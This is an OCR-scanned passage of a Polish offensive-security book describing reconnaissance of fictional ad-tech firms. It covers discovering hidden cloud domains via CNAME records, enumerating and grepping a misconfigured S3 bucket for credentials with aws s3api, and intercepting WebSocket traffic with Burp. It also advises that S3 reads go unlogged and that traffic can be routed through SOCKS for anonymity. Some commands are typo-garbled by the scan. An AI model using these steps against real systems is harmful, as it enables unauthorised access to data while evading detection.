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Szukanie luk

MASZ OKOLO 150 DOMEN DO SPRAWDZENTA POD KATEM ROZNYCH
LUK ZWIAZANYCH ZE WSTRZYKIWANIEM KODU, Z MANIPULOWANIEM
SCIEZKA, BLEDAMI W KONTROLI DOSTEPU ITD. HAKERZY, KTORZY
dopiero uczg sie wykonywaé ten krok, czesto czuja sie przyttoczeni samg
liczbg mozliwosci. Od czego zaczaé? Ile czasu poswiecié na kazda witryne? Ile
na kazda strone? Co sie stanie, jesli co$§ pomine?

To prawdopodobnie ten etap moze najbardziej zachwia¢ Twoja wiara w siebie.
W tej ksigzce postaram sie pokazaé jak najwiecej sztuczek, jednak zaufaj mi — jesli
chodzi o to konkretne zadanie, najskuteczniejsza jest najstarsza wskazéwka na §wie-
cie: praktyka czyni mistrza. Im wiecej fantastycznych i niezwyktych luk napotkasz,
tym wiecej zyskasz pewnosci — nie tylko pewnosci siebie, ale tez przekonania
co do nieuchronnosci ludzkich btedéw.

Praktyka czyni mistrza

Od czego wiec zaczaé? Céz, wykonywanie zadan typu ,,zdobadz flage” (ang. capture
the flag) jest jednym ze sposobéw na opanowanie podstawowych zasad stosowa-
nia eksploitow zwigzanych ze wstrzykiwaniem kodu w SQL-u czy z atakami XSS
(ang. cross-site scripting) i wykorzystywaniem innych luk w internecie. Wiedz jednak,
ze tego rodzaju éwiczenia stabo odzwierciedlajg to, jak aplikacje z lukami wygla-
daja w rzeczywistosci. Takie zadania sa projektowane przez entuzjastéw jako zaska-
kujace zagadki; nie sa wynikiem rzeczywistych bledéw lub przeklejania z lenistwa
kodu z serwisu Stack Overflow.

Kup ksigzke Polec¢ ksigzke


https://helion.pl/rf/zonieu
https://helion.pl/rt/zonieu

Najlepszym sposobem na poznawanie eksploitéw jest wyprébowywanie ich
w bezpiecznym §rodowisku. Mozesz na przyktad poeksperymentowaé ze wstrzy-
kiwaniem kodu w SQL-u — uruchomié¢ serwer WWW i baze danych w swojej pra-
cowni, napisa¢ aplikacje i wyprébowywaé ré6zne mozliwosci. Poznaj specyfike r6z-
nych parser6w SQL-a, napisz wlasne filtry do zapobiegania wstrzykiwaniu kodu,
sprobuj obejsé te filtry itd. Weciel sie w role programisty, zmierz sie z parsowa-
niem nieznanych danych wejsciowych przy generowaniu kwerend bazodanowych
lub utrwalaniem informacji miedzy urzadzeniami i sesjami, a szybko dostrzezesz,
ze przyjmujesz te same niebezpieczne zalozenia, ktérych ofiarg staja sie inni dewe-
loperzy. Jest takie powiedzenie, ze za kazdg powazng lukg kryja sie falszywe zato-
zenia. Do takich eksperymentéw odpowiedni bedzie kazdy zestaw narzedzi —
Apache + PHP, Nginx + Django, Node]S + Firebase itd. Naucz sie, jak uzywac
tych platform, dowiedz sie, gdzie przechowywane sg ich ustawienia i tajne dane,
i ustal, jak kodowane sa w nich i filtrowane dane wejsciowe od uzytkownikéw.

Z czasem nauczysz sie dostrzegaé nie tylko parametry, ktére umozliwiaja atak,
ale tez to, jak aplikacja nimi operuje. Twoje nastawienie zmieni si¢ z ,,jak moge
sprawié, aby to zadziatalo” na ,,jak moge to wykorzystaé¢ do wtasnych celéw lub
ztamad”. Wierz mi — gdy tylko zaszczepisz w swoim umygle takie podejscie, nie
bedziesz juz w stanie go wykorzenié.

Zachecam tez do przyjrzenia sie, co robig inni. Uwielbiam czytaé raporty fow-
c6w bled6éw publikowane na Twitterze, Medium i innych platformach, takich jak
https://pentester.land. W ten spos6éb mozesz nie tylko zainspirowad sie narzedziami
i metodami, ale tez uzyska¢ pewnosé¢, ze nawet najwieksze korporacje popehiaja
btedy w tak podstawowych mechanizmach jak formularz resetowania hasta.

Twoim celem na szczescie nie jest przeprowadzenie testéw penetracyjnych,
dlatego czas nie odgrywa tu istotnej roli. Co wiecej, bedzie on Twoim waznym
sprzymierzeiicem. Mozesz pos$wieci¢ kazdej witrynie tyle czasu, ile uznasz za
stosowne. Tylko od Twojej pomystowosci i ciekawosci zalezy, czy zechcesz prze-
znaczy¢ caly dzien na eksperymenty z danym parametrem.

Znajdowanie ukrytych domen

Wr6é do uzyskanej listy domen. Gdy atakujesz srodowisko dzialajace w calosci
w chmurze, dostepna jest sztuczka, ktéra pozwala Ci sie dowiedzieé wiecej na temat
witryn i wyznaczy¢ priorytety — mozesz ustalié rzeczywiste domeny ukryte za
domenami publicznymi. Dostawcy chmury zwykle generujg unikatowe adresy URL
dla wszystkich zasob6w tworzonych przez klienta — dla serweréw, réwnowaz-
nikéw obcigzenia, pamieci, zarzadzanych baz danych czy punktéw konicowych
w sieci CDN. Przyjrzyj sie na przyklad globalnemu dostawcy sieci CDN, firmie
Akamai. Dla standardowego serwera Akamai generuje nazwe domeny taka jak
€9657.b.akamaiedge.net, aby zoptymalizowaé przekazywanie pakietéw na ten ser-
wer. Jednak Zadna firma nie bedzie publicznie uzywa¢ dla domeny tego rodzaju
trudnej do wypowiedzenia nazwy. Zamiast tego ukryje ja za bardziej reprezenta-
cyjna nazwa, takg jak stellar.mxrads.com lub victory.gretschpolitco.com. Przegladarka
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moze przyjmowad, ze komunikuje sie z serwerem victory.gretschpolitco.com,
ale pakiet sieciowy jest tak naprawde przesylany na adres IP serwera ¢9657.b.
akamaiedge.net, ktéry pézniej przekazuje dane w docelowe miejsce.

Jesli w jakis sposéb uda Ci sie odkryé uzywane w chmurze nazwy ukryte za
kazda z pobranych witryn, mozesz ustalié, z jakiej chmury korzysta firma, a nastep-
nie skupi¢ sie ustugach, w ktoérych wystapienie bted6w w konfiguracji jest bardziej
prawdopodobne. Ustuga firmy Akamai jest ciekawa, ale AWS S3 (ustuga pamieci
masowej) i API Gateway (zarzadzane serwery posredniczace) s bardziej intere-
sujace, o czym sie wkrétce przekonasz. Jesli na przyktad wiesz, ze witryna dziata za
réwnowaznikiem obcigzenia aplikacji w AWS, mozesz do pewnego stopnia prze-
widzie¢, jakie filtry parametréw sa uzywane, i odpowiednio dostosowaé tadunek.
Jeszcze ciekawsza jest préba podejrzenia adresu IP ,,zrédlowego”, prawdziwego
serwera, aby catkowicie pomina¢ posrednie ustugi chmury.

UWAGA Znalezienie rzeczywistych adreséw IP ustug chronionych przez Akamai, Cloudflare,
CloudFront i inne sieci CDN nie jest tatwe. Czasem adresy IP wyciekajg w komuni-
katach o bledach, czasem mozna je znalezé w nagltéwkach HTTP. W innych sytu-
acjach, jesli masz szczescie i serwer ma wystarczajgeo unikatowy odcisk palca,
mozesz wykryd jego adres za pomocq narzedzi takich jak Shodan, ZoomEye lub nie-
standardowe rozwigzanie CloudBunny (https://github.com/Warflop/CloudBunny)).

Wré¢ do listy domen i wykonaj dodatkowy krok w rekonesansie nazw DNS, aby
znalezé ukryte domeny. Tym razem poszukaj rekordéw CNAME (sa to rekordy
nazw prowadzace do innych rekordéw nazw) zamiast cze$ciej uzywanych rekordéw
A (z adresami IP). Rekordy CNAME mozna pobraé za pomocg polecenia getent
hosts:

root@Pointl:~/# getent hosts thor.mxrads.com
91.152.253.4 e9657.b.akamaiedge.net stellar.mxrads.com
stellar.mxrads.com.edgekey.net

Widaé tu, Ze nazwa thor.mxrads.com jest ukryta za punktem dystrybucji w sieci
firmy Akamai.

Nie wszystkie alternatywne domeny sg zarejestrowane jako rekordy CNAME.
Niektore sg tworzone jako rekordy ALIAS, ktére nie sg bezposrednio widoczne
w procesie thumaczenia nazw. W tego typu trudnych sytuacjach mozesz odgadnaé
uzywang ustuge AWS, sprawdzajac adres IP z publicznego zakresu opublikowa-
nego w dokumentacji AWS, w sekcji General Reference.

Nie udato mi sie znalezé prostego narzedzia do przeprowadzania tego typu roz-
szerzonego rekonesansu nazw DNS, napisalem wiec skrypt, ktéry automatyzuje ten
proces — DNS Charts (https://dnscharts.hacklikeapornstar.com/). Utworz liste
domen, a nastepnie przekaz ja do tego narzedzia, aby poszuka¢ rekordow CNAME.
Mozesz tez zastosowaé¢ dodatkowe wyrazenia regularne, aby sprébowa¢ odgad-
ngé uzywang ushuge chmury. Wyniki sg wyswietlane w formie kolorowego grafu
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z zaznaczonymi powigzaniami miedzy domenami, a takze z gléwnymi ustugami
chmury uzywanymi przez firme. Rysunek 5.1 przedstawia przyktadowe dane wyj-
$ciowe tego narzedzia.

@ Akamai 29 ¥ AWS Cloudfront (1) @ Awss3 “@ ¥ AWSELB (17
Shp, " O
a,af%,%cn
5q 4, 4 ‘70/1‘{/%

” @

52222169121

misc.mxfads com

Rysunek 5.1. Lista ustug uzywanych przez firme MXR Ads

Ten wykres pozwala szybko dostrzec najciekawsze punkty koricowe, ktére warto
zaatakowa¢ w pierwszej kolejnosci. Wiekszos$é pobranych domen jest hostowana
w chmurze AWS i korzysta z zestawu nastepujacych ustug: CloudFront (sie¢ CDN),
S3 (ustuga pamieci masowej Amazona) i ELB (réwnowaznik obcigzenia). Pozostale
domeny uzywaja sieci CDN firmy Akamai.

Zwr6é uwage na to, ze adres URL dashboard firmy GP (u géry posrodku) pro-
wadzi do domeny nalezacej do firmy MXR Ads (u dotu po lewej). Sciste powiazanie
miedzy tymi firmami sie potwierdzilo. Jest ono widoczne nawet w uzywanej infra-
strukturze.

Masz wiec kilka trop6w. Na przyklad poddomena gretschpol-alb-1463804911.e
u-west-1. . . jest powigzana z rownowaznikiem obcigzenia aplikacji (ang. application
load balancer — ALB) z chmury AWS, na co wskazuje czlon alb w adresie URL.
Zgodnie z dokumentacjg chmury AVS jest to réownowaznik obcigzenia warstwy 7.,
odpowiadajacy za rozdzielanie ruchu przychodzacego. Taki réwnowaznik teore-
tycznie potrafi parsowaé zadania HTTP, a nawet blokowad niektére fadunki, jesli
zostanie powigzany z zaporg aplikacji internetowych (ang. web application fire-
wall — WAF) chmury AWS. To, czy rzeczywiscie tak sie dzieje, jest kwestig otwartg,
i oczywi$cie wymaga aktywnego sprawdzenia.

UWAGA Nie chce przez to powiedzied, ze AWS WAF jest fantastyczng zaporg, na kidrg
wszyscy czekali. Co pewien czas na Twitterze pojawiajq si¢ informacje o prostych
sposobach jej obejscia (http://bit.ly/303dPm0).

Réwnowaznik obcigzenia aplikacji moze jednak poczekaé. Liste zwyciezcow

mozna wybraé natychmiast po spojrzeniu na graf. Zaczniesz od niezwykle kusza-
cych adreséw URL ustugi S3 z chmury AWS.
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Badanie adreséw URL ustugi S3

AWS S3 to zapewniajaca wysoka nadmiarowo$¢ i niedroga ustuga pamieci maso-
wej oferowana przez Amazon. Stawki rozpoczynaja sie od 0,023 dolara za 1 GB
plus optaty za transfer danych. Obiekty przechowywane w S3 s uporzadkowane
w komorach (ang. bucket). Kazda komora ma nazwe i adres URL, ktére sg unika-
towe w zakresie wszystkich kont w AWS (zobacz rysunek 5.2).

S3 buckets
Q, Search for buckets All access types
+ Create bucket g Buckets
Bucket name Access €) ~ Region »
] unique-bucket-name-: ast (N. Virgi
buck 3 Public US East (N. Vi

Rysunek 5.2. Komora w ustudze S3 widoczna w konsoli internetowej

S3 umozliwia przechowywanie dowolnych informacji — od plikéw JavaScript
po kopie zapasowe baz danych. Z powodu szybkiego wzrostu popularnosci tej
ushugi w wielu firmach, zaréwno malych, jak i duzych, na spotkaniach w trakcie roz-
mowy o dowolnym pliku czesto mozna uslyszeé: ,, Ech, po prostu wrzué¢ go do S3!”.

Tego rodzaju koncentracja tatwo dostepnych danych w internecie przycigga
haker6w jak kwiaty pszczoly. Nie dziwi wiec to, Ze zar6wno male, jak i prestizowe
firmy pojawiajg siec w podobnych nagléwkach nad artykutami z opisem skanda-
licznych zaniedban. Otwarte i podatne na ataki komory w ustudze S3 kosztowaty
firmy utrate terabajtéw poufnych danych, na przyktad informacji o klientach,
historii transakeji itd. Zdobycie danych firmy nigdy wezesniej nie byto tak tatwe.
Mozesz nawet znalezé liste otwartych komoér S3 (https://buckets.grayhatwarfare.
com/).

Maly graf DNS z rysunku 5.1 pokazuje, ze znane sa cztery adresy URL z ushugi
S3 — dl.mxrads.com, misc.mxrads.com, assets.mxrads.com i resource.mxrads.com.
Mozliwe jednak, ze uda Ci sie znalezé wiecej takich adreséw. Ustugi Akamai
i CloudFront czasem ukrywaja komory ustugi S3 za rekordami ALIAS. Aby reko-
nesans byl kompletny, sprawdz 18 adreséw URL z ustug Akamai i CloudFront,
a nastepnie dokladnie przyjrzyj sie dyrektywie Server z odpowiedzi HTTP:

root@Pointl:~/# while read p; do \
echo $p, $(curl --silent -I -i https://$p | grep AmazonS3) \
done <cloudfront_akamai_subdomains.txt

digital-js.mxrads.com, Server: AmazonS3
streaming.mxrads.com, Server: AmazonS3

Mozesz wiec dodaé do listy dwie kolejne komory. Swietnie. Teraz wezytaj
w przegladarce adres URL pierwszej komory, dl.mxrads.com (jest to alias nazwy
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an alias for mxrads-files.s3.eu-west-1.amazonaws.com), z nadzieja, ze uzyskasz
dostep do jej zawartosci. Niestety, natychmiast rozbijasz sie o dos¢ oczywisty blad
pokazany na rysunku 5.3.

v<Error>

<Code>AccessDenied</Code>
<Message>Access Denied</Message>
<RequestId>FIC81D8DEQESDIO7</RequestId>

v <HostId>

wdyG1lMoSh1RXciQKvwab2z00eYOv cdGxkRNISVWLOWRGiyrIsAkdc1f4GiE7V+SGbd1FnEKTLTO=

</HostId>

</Error>

Rysunek 5.3. Brak dostepu do danych

Dostep wzbroniony.

Whbrew temu, co moze sugerowaé ten komunikat, nie oznacza to, ze nie mozesz
uzyskaé dostepu do obiektéw z komory. Nie mozesz jedynie wyswietlié jej zawar-
tosci. W podobny sposéb dyrektywa Options -Indexes na serwerze Apache blo-
kuje wyswietlanie zawartosci katalogéw.

UWAGA Czasem po usunigciu komory pozostaje zdefiniowany rekord CNAME. W takiej
sytuacji mozesz sprébowad przejgé poddomene poprzez utworzenie komory o tej
samej nazwie na wlasnym koncie w AWS. Ta ciekawa technika w niektorych scena-
riuszach okazuje si¢ zabdjczo skuteczna. Patrik Huddk napisat na ten temat cie-
kawy artykut — https://Oxpatrik.com/takeover-proofs/.

Bezpieczenstwo komoér S3

Po jednym ze zbyt wielu skandali zwigzanych z niezabezpieczonymi komorami
w S3 w AWS zaciesniono domyslng kontrole dostepu. Teraz kazda komora ma co$
na ksztalt przelagcznika publicznego dostepu, ktéry uzytkownik moze tatwo akty-
wowagé, aby zablokowaé publiczny dostep do danych. Moze sie wydawag, ze jest
to podstawowa funkcja, jednak do zarzadzania listg dostepu do komory stuzg nie
jedno, nie dwa, nie trzy, ale cztery powigzane ustawienia przetacznika publicznego
dostepul! Jest to bardzo skomplikowane rozwigzanie. Mozna niemal wybaczy¢ fir-
mom bledng konfiguracje. Oto uzywane ustawienia:

Listy kontroli dostepu (ang. access control list — ACL). Zawierajg one
jawnie zdefiniowane reguly okreslajace, ktére konta w AWS maja dostep
do poszczegolnych zasobéw (jest to przestarzaly mechanizm).

Mechanizm CORS (ang. cross-origin resource sharing). Zawiera reguty

i ograniczenia dotyczace zadah HTTP pochodzacych z innych domen.
Umozliwia filtrowanie zadan na podstawie nagléwka user-agent, uzytej
metody HTTP, adresu IP, nazwy zasobu itd.

Polityka komory. Jest to dokument w formacie JSON z regutami
okreslajacymi, ktére operacje sg dozwolone, a takze kto i w jakich
warunkach moze je wykonywa¢. Polityka komory zastepuje listy kontroli
dostepu jako gtéwny sposéb ochrony komory.
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Polityki zarzgdzania tozsamoscig i dostepem (ang. identity and access
management — IAM). Przypominajg polityke komory, ale te dokumenty
w formacie JSON sg powigzane z uzytkownikami, grupami lub rolami,

a nie z komorami.

Oto przykladowa polityka komory, ktéra umozliwia kazdemu pobranie obiektu
zkomory, ale nie pozwala na wykonywanie zadnych innych operacji (na przyktad
wyswietlanie zawartosci, zapis plikow, modyfikowanie polityki itd.):

{
"Version":"2012-10-17",
"Statement": [

{
"Sid":"UniqueID", // ldentyfikator polityki.
"Effect":"Allow", // Zapewnia dostep, jesli warunki sq spe/nione.
"Principal": "*", // Dotyczy wszystkich (takze uzytkownikéw anonimowych).
"Action":["s3:GetObject"], // Operacjawyswietlenia pliku w S3.
"Resource":["arn:aws:s3:::bucketname/*"] // Wszystkie pliki w komorze.

AWS laczy reguly z wszystkich czterech wymienionych ustawieni, aby stwier-
dzi¢, czy ma zaakceptowad zadang operacje. Istnieje tez nadrzedny wzgledem tych
czterech ustawien gtéwny przetacznik (Block Public Access), ktérego wlaczenie blo-
kuje dostep publiczny, nawet jesli jest on jawnie dopuszczany przez jedno z pozo-
statych ustawien.

Skomplikowane? Delikatnie méwiac. Zachecam do zalozenia konta w AWS
i zbadania ztozonych aspektéw komoér w S3, aby nabra¢ odpowiednich nawykéw
w wykrywaniu i wykorzystywaniu nadmiernie tagodnych ustawien.

UWAGA UzZywana jest tez dosé niejasna koncepcja wilasnosci obiektéw, nadrzednej wzgle-
dem wszystkich pozostatych ustawien oprdcz przelgcznika dostepu publicznego.
Omawiam jq dalej.

Badanie komor

Wr66 do listy komér. Sprawdz je. Dostep jest wzbroniony do kazdej z nich z wyjat-
kiem misc.mxrads.com, ktéra, co dziwne, zwraca pustg strone. Brak bledu jest obie-
cujgcy. Wykonaj kolejne préby, uzywajac wiersza polecen AWS. Najpierw zain-
staluj interfejs wiersza polecen (ang. command line interface — CLI) dla AWS:

root@Pointl:~/# sudo apt install awscli

root@Pointl:~/# aws configure

# Wprowadz dowol ny poprawny zestaw danych uwier zytelniajgcych,
# aby odblokowac interfejs wiersza polecesi.

# Mozesz uzy¢ na przykfad wlasnego konta w AWS,
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Interfejs wiersza polecen dla AWS nie akceptuje adreséw URL z ustugi S3, dla-
tego trzeba ustali¢ prawdziwa nazwe komory kryjaca sie za nazwa misc.mxrads.com.
Zwykle wystarczy w tym celu sprawdzi¢ rekord CNAME domeny. Tu uzyskasz
w ten spos6b nazwe mxrads-misc.s3-website.eu-west-1.amazonaws.com. Oznacza
ona, ze nazwa komory to mxrads-misc. Jesli zbadanie rekordu CNAME nie zadziata,
potrzebne beda bardziej wyrafinowane sztuczki, na przyklad wstrzykniecie znakéw
specjalnych takich jak %C0 w adresie URL lub dolgczenie nieprawidtowych para-
metréw, aby ustugi S3 wyswietlity strone bledu zawierajaca nazwe danej komory.

Wyposazywszy sie w nazwe komory, mozesz wykorzysta¢ wszystkie mozliwo-
$ci interfejsu CLI dla AWS. Zacznij od pobrania pelnej listy obiektéw dostepnych
w komorze i zapisania tej listy w pliku tekstowym:

root@Pointl:~/# aws s3api list-objects-v2 --bucket mxrads-misc > list_objects.txt
root@Pointl:~/# head list_objects.txt
{ "Contents": [{

"Key": "Archive/",

"LastModified": "2015-04-08722:01:48.000Z",

"Size": 0,

"Key": "Archive/_old",
"LastModified": "2015-04-08T22:01:48.000Z",
"Size": 2969,

"Key": "index.html",
"LastModified": "2015-04-08T22:01:49.000Z",
"Size": 0,

}!

--pominiete--

Uzyskasz w ten sposéb liste wielu obiektéw — zbyt wielu, by sprawdzié je recz-
nie. Aby ustali¢ ich dokladng liczbe, uzyj instrukcji grep do parametréw "Key":

root@Pointl:~/# grep '"Key"' Tist_objects.txt |wc -1
425927

Bingo! W jednej komorze znajduje sie ponad 400 000 plikéw. To swietny wynik.
Na liscie obiektéw zwr6¢ uwage na pusty plik index. html w katalogu glé6wnym
komory w S3. Komore w S3 mozna tak skonfigurowaé, aby dziatata jak witryna prze-
chowujaca pliki statyczne, na przyktad z kodem w JavaScripcie, grafikg lub kodem
w HTML-u. To wspomniany plik index.html odpowiada za pusta strone, jaka wida¢
bylo wezesniej, po wprowadzeniu adresu URL.

Pora zastosowaé eksploracje danych dla ubogich. Uzyj wyrazen regularnych do
wyszukania skryptéw SQL-a, plikéw powloki bash, archiw6w z kopiami zapasowymi,
plikéw JavaScript, plikéw konfiguracyjnych, migawek programu VirtualBox i wszel-
kich innych zasobéw, ktére moga zapewnié Ci cenne dane uwierzytelniajace:
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SYSTEM KATALOGOWANIA W S3

Zwrd¢ uwage na to, ze wewnetrzny system katalogowania w S3 nie jest hierar-
chiczny. Traktowanie S3 jak systemu plikdw jest czestym bfedem. Nie ma tu katalo-
géw ani nawet plikéw, a przynajmniej nie wedfug powszechnie przyjetych wspot-
czesnych definicji. S3 to system pamieci masowej typu klucz-wartos¢. Kropka.
Konsola internetowa w AWS stwarza iluzje, ze pliki s3 uporzagdkowane w katalo-
gach, jednak jest to tylko efekt sztuczek uzywanych w interfejsie graficznym.
Katalog w S3 to klucz wskazujacy pustg wartos¢. Plik, ktéry na pozér znajduje
sie w katalogu, jest tylko fragmentem pamieci wskazywanym przez klucz o nazwie
w formacie /katalog/plik. Ujme to inaczej — za pomocg interfejsu CLI dla AWS
mozna usuna¢ katalog bez kasowania znajdujgcych sie w nim plikéw, ponie-
waz oba te elementy nie s ze sobg w zaden sposéb powigzane.

# Pobieranie nazw plikow z parametréw "Key":
root@Pointl:~/# grep '"Key"' list_objects | sed 's/[",]//g' > list_keys.txt

root@Pointl:~/# patterns='\.sh$|\.sq1$|\.tar\.gz$\.properties$|\.config$|\.tgz$"

root@Pointl:~/# egrep $patterns list_keys.txt
Key: debug/360-ios-safari/deploy.sh
Key: debug/ias-vpaidjs-ios/deploy.sh
Key: debug/vpaid-admetrics/deploy.sh
Key: latam/demo/SiempreMujer/nbpro/private/private.properties
Key: latam/demo/SiempreMujer/nbpro/project.properties
Key: demo/indesign-immersion/deploy-cdn.sh
Key: demo/indesign-immersion/deploy.sh
Key: demo/indesign-mobile-360/deploy.sh
--pominieto--

Otrzymasz w ten sposob liste potencjalnie pomocnych plikéw. Nastepnie pobierz
je za pomoca instrukcji aws s3api get-object i metodycznie sprawdz kazdy z nich
w nadziei na znalezienie poprawnych danych uwierzytelniajacych w jakiejs postaci.
Ciekawym faktem, o ktérym warto pamietaé, jest to, ze AWS domyélnie nie reje-
struje operacji na obiektach S3 takich jak get-object i put-object. Mozesz wiec
swobodnie pobieraé pliki, wiedzac, ze nikt nie §ledzi Twoich poczynan. Niestety,
nie mozna tego powiedzie¢ o pozostatych APT w AWS.

Po wielu godzinach poszukiwan nie znajdujesz nic. Zupetnie nic. Wyglada na
to, ze wiekszo$¢ skryptéw to dawne trzyliniowe bloki kodu do pobierania publicz-
nie dostepnych dokumentéw i innych skryptéw, automatyzowania standardowych
polecen lub tworzenia pomocniczych tabel w SQL-u.

Pora wyprébowaé inne podej$cie. Mozliwe, Ze istnieja pliki z poufnymi danymi,
ktére umknely wezesniej zastosowanym filtrom. Mozliwe, ze gdzies kryja sie pliki
z nietypowymi rozszerzeniami. Aby je znalezé, uruchom agresywne wyszukiwa-
nie eliminacyjne, ktére pozwoli pomina¢ typowe i bezuzyteczne pliki, takie jak
grafiki, arkusze CSS lub czcionki, i dotrzeé¢ do ukrytych skarbéw:
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root@Pointl:~/# egrep -v\
"\.jpg|\.png|\.is|\.woff|/\",$|\.css|\.gif[\.svg|\.ttf|\.eot" Tist_keys.xt

Key: demo/forbes/ios/7817/index.html
Key: demo/forbes/ios/7817/index_1.html
Key: demo/forbes/ios/7817/index_10.htm]
Key: demo/forbes/ios/7817/index _11.html
Key: demo/forbes/ios/7817/index _12.html
Key: demo/forbes/ios/7817/index_13.htm]
--pominiete--

root@Pointl:~/# aws s3api get-object --bucket mxrads-misc \
--key demo/forbes/ios/7817/index.html forbes_index.html

Pliki HTML nie do kofica sg tymi specjalnymi plikami, na jakie liczysz, ale ponie-
waz stanowig ponad 75% dokumentéw w tej komorze, warto im sie przyjrzeé. Po
ich otwarciu widzisz, ze wygladaja jak zapisane strony z witryn serwiséw informa-
cyjnych z catego §wiata. Gdzie$ w skomplikowanej architekturze witryn firmy GP
musi znajdowaé sie aplikacja, ktéra pobiera strony internetowe i zapisuje je w komo-
rze. Warto sie dowiedzieé, po co to robi.

Pamietasz, jak we wprowadzeniu pisatem o wyjatkowym talencie do hakowa-
nia? To whasnie o takie sytuacje mi chodzito. To tego rodzaju odkrycie, ktére powinno
wzbudzi¢ w Tobie dreszcz ekscytacji!

Badanie aplikacji komunikujacej sie z internetem

Gdzie ukrywa sie ta cholerna aplikacja? Aby do niej dotrze¢, wr6é do wynikéw
rekonesansu nazw DNS z rysunku 5.1. Z gaszcezu nazw od razu wylania si¢ dosko-
naly podejrzany — demo.mxrads.com. To samo stowo kluczowe ,,demo” pojawito sie
w kluczach z S3 w plikach HTML. Nie trzeba bylo nawet uzywaé narzedzia grep.
Whisz demo.mxrads.com w przegladarce, a zobaczysz, ze gléwna grafika i naglé-
wek zdajg sie opisywaé dziatalno$é, ktora Cie interesuje (zobacz rysunek 5.4).

|MXR Ads Demo

Your ad eveywhere

Rysunek 5.4. Strona gtéwna witryny demo.mxrads.com
Aby sie doktadniej przyjrzed¢ tej stronie, uruchom narzedzie Burp Suite. Jest

to lokalny serwer posredniczacy, ktéry w wygodny sposéb przechwytuje i prze-
kazuje wszystkie zadania HTTP generowane przez przegladarke (fani projektu
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OWASP mogg uzy¢ narzedzia ZAP — Zed Attack Proxy). Ponownie wezytaj strone
demo.maxrads.com z uruchomionym serwerem Burp i obserwuj, jak w czasie
rzeczywistym wy$wietlane sg zadania generowane przez witryne. Iustruje je
rysunek 5.5.

[ intercept | HTTP history. | WebSockets history | Options |

Fitter: Showing all tems

£ 7 Host Method | URL Params | Edied | Status.
T3 nHpssemo mXrsgs com GET ToEmoREmEs PP 8ge N ONICONSIESS. - K

12 hiips:/idemo.mxrads.com GET igemorhemes/BizPage/ibianimateisn 200

1 hitps /idema. mxrads. com GET idemothemes/BizPage/ib/bnt-avesom 200

10 nitps:/idemo.murads.com GET idemorhemes/BizPageibibootstrapics. 200

9 hitpsiffonts. googleapis com GET icss?tmily=0pen+Sans:300,300(400,.. v 200

[ hitps-/idemo. mxrads. com GET fessfamily=0pen+Sans:300,300400 v 200

7 hitps idemo.mxrads.com GET 200

Rysunek 5.5. Serwer Burp analizujqcy strone demonstracyjng MXR Ads

UWAGA Aby zapewnic sobie dodatkowy poziom anonimowosci, mozesz poinstruowac narze-
dzie Burp lub ZAP, aby kierowalo ruch z uzyciem protokotu posredniczgcego SOCKS
z serwera uzywanego do ataku. Dzigki temu bedziesz mie¢ pewnosé, ze Zrodlem
wszystkich pakietéw bedzie ten odlegly host. Poszukaj ustawienia SOCKS w opcjach
narzedzia Burp.

To $wietny obszar do ataku. Za pomocg narzedzia Burp mozesz przechwyty-
wac zadania HTTP(S), modyfikowaé je w locie, powtarza¢ w dowolnym momen-
cie, a nawet konfigurowaé wyrazenia regularne, aby automatycznie dopasowywaé
i zastepowa¢ naglowki. Jesli kiedykolwiek zdarzyto Ci sie przeprowadzaé inter-
netowe testy penetracyjne lub wykonywa¢ zadania typu ,,zlap flage”, to z pewno-
$cig z uzyciem podobnego narzedzia. Jednak na razie pomin to zagadnienie i kon-
tynuuj analizy.

Wr6¢ do badania witryny demo.mxrads.com. Jak mozna sie spodziewaé po fir-
mie takiej jak MXR Ads, w jej witrynie widaé pokazowe reklamy w réznych prze-
gladarkach i urzadzeniach, a takze w znanych witrynach, takich jak nytimes.com
i theregister.com (zobacz rysunek 5.6). Zespoly sprzedazowe z calego $wiata zapewne
uzywajg tej funkcji, aby przekonywaé partneréw medialnych, ze technologia firmy
plynnie integruje sie z dowolng platformg internetows. Sprytne posuniecie.

|[MXR Ads Demo
Pick a publisher

©

rk T\rhnes The Register

The New Jork Times

Rysunek 5.6. Firma MXR Ads prezentuje reklamy w réznych popularnych witrynach

Przeanalizuj strone i przy okazji wyprébuj dostepna funkcje. Wybierz reklame
w witrynie The New York Times, a pojawi sic nowe okno z cudowng reklamg
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perfum przypadkowej marki umieszczong posrodku dzisiejszej strony gtéwnej tego
serwisu.

Moze sie wydawaé, ze ta strona demonstracyjna jest nieszkodliwa — uzytkow-
nik wybiera witryne, a aplikacja pobiera jej zawartosé i dodaje odtwarzacz wideo
zlosowa reklama, aby pokazaé potencjalnym klientom mozliwosci firmy MXR Ads.
Czy mogg sie tu pojawié jakie§ luki? Cate mnéstwo. ..

Zanim sie zastanowisz nad tym, jak zaatakowa¢ te aplikacje, najpierw ustal,
co sie dzieje na zapleczu. Uzyj do tego narzedzia Burp Proxy. Co sie stanie, gdy
klikniesz opcje New York Times, aby wyswietlié¢ reklame? Wyniki przedstawia
rysunek 5.7.

| Intercept IHWP history ] WebSockets history I Options ]

| Filter: Hiding CSS, image and general binary content

|# *| Host Method  |URL
| 1 http-/idemo.mxrads.com GET !
=%

[ Request [ Response |
_i_Rm Headers ] Hex |

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: 1NjSIOxelPKkyxV8ozF 2QVicce=

Rysunek 5.7. Zaktadka HTTP history po kliknigciu opcji
New York Times w witrynie demo.mxrads.com

Nie zobaczysz tu nadmiaru komunikacji HTTP, to pewne. Po wezytaniu strony
serwer przekazuje komunikat ,HTTP/1.1 101 Switching Protocols”, po czym
w zakladce HTTP history nie wida¢ dalszej komunikacji. Musisz przejsé do zaktadki
WebSockets history, aby zapoznad sie z dalszg wymiang danych.

Przechwytywanie komunikacji
za pomoca protokotu WebSocket

WebSocket to nastepny obok HTTP protokét komunikacyjny, ktéry jednak (w odréz-
nieniu od HTTP) tworzy kanal dzialajacy w trybie full-duplex. W zwyklym proto-
kole HTTP kazda odpowiedZ serwera jest powigzana z zadaniem klienta. Serwer
nie zachowuje stanu miedzy dwoma zadaniami. Zamiast tego stan jest obstugiwany
za pomoca plikéw cookie i nagléwkéw, co pomaga aplikacji backendowej zapamie-
ta¢, ktére jednostki zadaja okreslonych zasobéw. Protokél WebSockets dziata
inaczej — klient i serwer tworza kanat full-duplex i taczacy je tunel, w ktérym kazda
ze stron moze w dowolnym momencie inicjowa¢ komunikacje. Nierzadko sie zda-
rza, ze w odpowiedzi na kilka komunikatéw przychodzacych zwracany jest jeden
komunikat wychodzacy i na odwrét. Wiecej o protokole WebSockets dowiesz sie
